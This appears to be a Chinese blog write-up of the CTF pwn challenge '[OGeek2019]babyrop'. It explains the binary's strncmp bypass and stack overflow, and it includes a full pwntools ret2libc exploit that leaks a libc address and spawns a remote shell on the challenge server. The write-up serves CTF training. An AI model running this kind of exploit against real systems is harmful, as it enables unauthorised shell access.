[OGeek2019]babyrop


一、查看文件

在这里插入图片描述在这里插入图片描述

32位

二、IDA反编译

我们看看代码:

fd 是一个文件句柄,打开了一个给定随机值的文件,截断成四字节的 int 赋给

buf 传入 sub_804871F():

所以buf也是一个随机数。

我们按顺序看 sub_804871F(buf),

在这里插入图片描述
sprintf() 将参数 a1 转换成字符串 s,下一行读入字符串 buf,v5 为其长度

下两行把 buf 最末一个字符去掉了,v1 为其新长度

接下来的 if 嵌套 strncmp

真正的溢出点在 sub_80487D0() 内:

在这里插入图片描述
考虑通过控制参数 a1 为一个较大数(0xff),触发 read() 的栈溢出

这需要我们在 sub_804871F() 也通过 read() 进行一个溢出
让 buf 的长度达到 8 就能覆盖掉 return 的变量

接下来就就是常规的 ret2libc,

在 sub_80487D0() 通过劫持返回地址到 write() 泄露出某函数(我用的是 read )的 got 表地址

最后加上偏移得到 system() 和 ‘/bin/sh’ 的真实地址

重复调用 sub_80487D0(),栈溢出,使程序在返回时调用 system(‘/bin/sh’),成功 getshell

代码

from pwn import *

#attack
r = remote("node4.buuoj.cn",27516)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")#题目下面那个链接里下载

#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825

#attack1
payload = b'\x00' + b'M'*6 + b'\xff'
r.sendline(payload)

#attack2
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))

#attack3
r.sendline(payload)

#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))

#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)

r.interactive()

在这里插入图片描述在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

长街395

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值